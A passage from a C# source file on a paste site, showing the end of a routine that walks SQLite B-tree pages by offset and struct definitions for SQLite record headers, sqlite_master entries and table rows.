  805. var num14 = Convert.ToUInt16(
  806. decimal.Subtract(
  807. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  808. decimal.One));
  809. int num18 = num14;
  810. for (var m = 0; m <= num18; m++)
  811. {
  812. var num13 = (ushort)ConvertToInteger(
  813. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2);
  814. ReadTableFromOffset(Convert.ToUInt64(
  815. decimal.Multiply(
  816. decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + num13), 4)), decimal.One),
  817. new decimal(page_size))));
  818. }
  819. ReadTableFromOffset(Convert.ToUInt64(
  820. decimal.Multiply(
  821. decimal.Subtract(
  822. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
  823. decimal.One), new decimal(page_size))));
  824. }
  825. return true;
  826. }
  827.  
  828. [StructLayout(LayoutKind.Sequential)]
  829. private struct record_header_field
  830. {
  831. public long size;
  832. public long type;
  833. }
  834.  
  835. [StructLayout(LayoutKind.Sequential)]
  836. private struct sqlite_master_entry
  837. {
  838. public long row_id;
  839. public string item_type;
  840. public string item_name;
  841. public readonly string astable_name;
  842. public long root_num;
  843. public string sql_statement;
  844. }
  845.  
  846. [StructLayout(LayoutKind.Sequential)]
  847. private struct table_entry
  848. {
  849. public long row_id;
  850. public string[] content;
  851. }
  852. }
  853. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement